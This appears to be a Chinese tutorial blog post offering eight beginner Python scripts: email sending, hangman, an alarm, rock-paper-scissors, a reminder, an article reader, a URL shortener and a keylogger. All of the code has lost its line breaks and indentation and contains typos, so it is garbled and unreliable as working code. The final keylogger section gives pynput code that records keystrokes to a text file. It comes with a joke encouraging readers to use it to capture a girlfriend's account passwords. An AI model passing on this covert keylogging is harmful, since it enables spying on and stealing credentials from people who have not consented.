编辑：乐乐 | 来自：网络
大家好，我是Python人工智能技术
一、自动发送邮件
用Python编写一个可以发送电子邮件的脚本。
提示：email库可用于发送电子邮件。
import smtplib from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessageemail['from'] = 'xyz name' ## Person who is sendingemail['to'] = 'xyz id' ## Whom we are sendingemail['subject'] = 'xyz subject' ## Subject of emailemail.set_content('Xyz content of email') ## content of emailwith smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp: ## sending request to server smtp.ehlo() ## server objectsmtp.starttls() ## used to send data between server and clientsmtp.login('email_id','Password') ## login id and password of gmail smtp.send_message(email) ## Sending emailprint('email send') ## Printing success message二、Hangman（猜单词的游戏）
用Python创建一个简单的hangman猜单词游戏。
提示：创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示，让用户猜单词，如果用户猜对了，则将用单词替换掉“”。
import timeimport randomname = input('What is your name? ')print ('Hello, ' + name, 'Time to play hangman!')time.sleep(1)print ('Start guessing...\n')time.sleep(0.5)## A List Of Secret Wordswords = ['python','programming','treasure','creative','medium','horror']word = random.choice(words)guesses = ''turns = 5while turns > 0:failed = 0for char in word:if char in guesses:print (char,end='')else:print ('_',end=''),failed += 1if failed == 0:print ('\nYou won')breakguess = input('\nguess a character:')guesses += guessif guess not in word:turns -= 1print('\nWrong')print('\nYou have', + turns, 'more guesses')if turns == 0:print ('\nYou Lose')
三、闹钟
用Python编写一个创建闹钟的脚本。
提示：用date-time模块创建闹钟，然后用playsound库播放声音。
from datetime import datetime from playsound import playsoundalarm_time = input('Enter the time of alarm to be set:HH:MM:SS\n')alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print('Setting up alarm..')while True: now = datetime.now() current_hour = now.strftime('%I') current_minute = now.strftime('%M') current_seconds = now.strftime('%S') current_period = now.strftime('%p')if(alarm_period==current_period):if(alarm_hour==current_hour):if(alarm_minute==current_minute):if(alarm_seconds==current_seconds): print('Wake Up!') playsound('audio.mp3') ## download the alarm sound from linkbreak四、石头剪刀布游戏
创建一个石头剪刀布的游戏，游戏者与与计算机PK。如果游戏者赢了，得分就会添加，看谁最终的得分最高。
提示：先判断游戏者的选择，然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。另外，搜索公众号Linux就该这样学后台回复“猴子”，获取一份惊喜礼包。
import randomchoices = ['Rock', 'Paper', 'Scissors']computer = random.choice(choices)player = Falsecpu_score = 0player_score = 0while True:player = input('Rock, Paper or Scissors?').capitalize()# 判断电脑与游戏者的选择if player == computer:print('Tie!')elif player == 'Rock':if computer == 'Paper':print('You lose!', computer, 'covers', player)cpu_score+=1else:print('You win!', player, 'smashes', computer)player_score+=1elif player == 'Paper':if computer == 'Scissors':print('You lose!', computer, 'cut', player)cpu_score+=1else:print('You win!', player, 'covers', computer)player_score+=1elif player == 'Scissors':if computer == 'Rock':print('You lose...', computer, 'smashes', player)cpu_score+=1else:print('You win!', player, 'cut', computer)player_score+=1elif player=='E':print('Final Scores:')print(f'CPU:{cpu_score}')print(f'Plaer:{player_score}')breakelse:print('That's not a valid play. Check your spelling!')computer = random.choice(choices)
五、提醒小工具
利用Python一个提醒小工具，在设定好的时间在桌面做提醒通知。
提示：跟踪提醒时间可以用Time模块，显示桌面通知可以用toastnotifier库。
安装：win10toast
from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try: print('Title of reminder') header = input() print('Message of reminder') text = input() print('In how many minutes?') time_min = input() time_min=float(time_min)except: header = input('Title of reminder\n') text = input('Message of remindar\n') time_min=float(input('In how many minutes?\n'))time_min = time_min * 60print('Setting up reminder..')time.sleep(2)print('all set!')time.sleep(time_min)toaster.show_toast(f'{header}',f'{text}',duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)六、文章朗读器
用Python编写一个脚本，实现自动从提供的链接读取文章的功能。
import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input('Paste article url\n'))def content(url):res = requests.get(url)soup = BeautifulSoup(res.text,'html.parser')articles = []for i in range(len(soup.select('.p'))):article = soup.select('.p')[i].getText().strip()articles.append(article)contents = ' '.join(articles)return contentsengine = pyttsx3.init('sapi5')voices = engine.getProperty('voices')engine.setProperty('voice', voices[0].id)def speak(audio):engine.say(audio)engine.runAndWait()contents = content(url)## print(contents) ## In case you want to see the content#engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file
七、短网址生成器
用Python编写一个脚本，实现用API缩短指定URL的功能。
from __future__ import with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopenimport sysdef make_tiny(url):request_url = ('http://tinyurl.com/api-create.php?' +urlencode({'url':url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')def main():for tinyurl in map(make_tiny, sys.argv[1:]):print(tinyurl)if __name__ == '__main__':main()
八、键盘记录器
用Python编写一个脚本，实现将用户在键盘上按过的按键记录下来，并保存在一个文本文件中。
提示：控制键盘和鼠标的移动就不得不推荐pynput这个库了，它还可以用于制作键盘记录器，通过读取被按下的键，然后将它们保存在一个文本文件中。（咳咳，想知道女朋友的账号密码的可以好好学习下）
from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()
keys=[]def on_press(key):global keys#keys.append(str(key).replace(''','')) string = str(key).replace(''','') keys.append(string) main_string = ''.join(keys) print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f: f.write(main_string) keys= [] def on_release(key):if key == Key.esc:return False
with listener(on_press=on_press,on_release=on_release) as listener: listener.join()欢迎有需要的同学试试，如果本文对您有帮助，也请帮忙点个 赞 + 在看 啦！❤️ 在 GitHub猿 还有更多优质项目系统学习资源，欢迎分享给其他同学吧！
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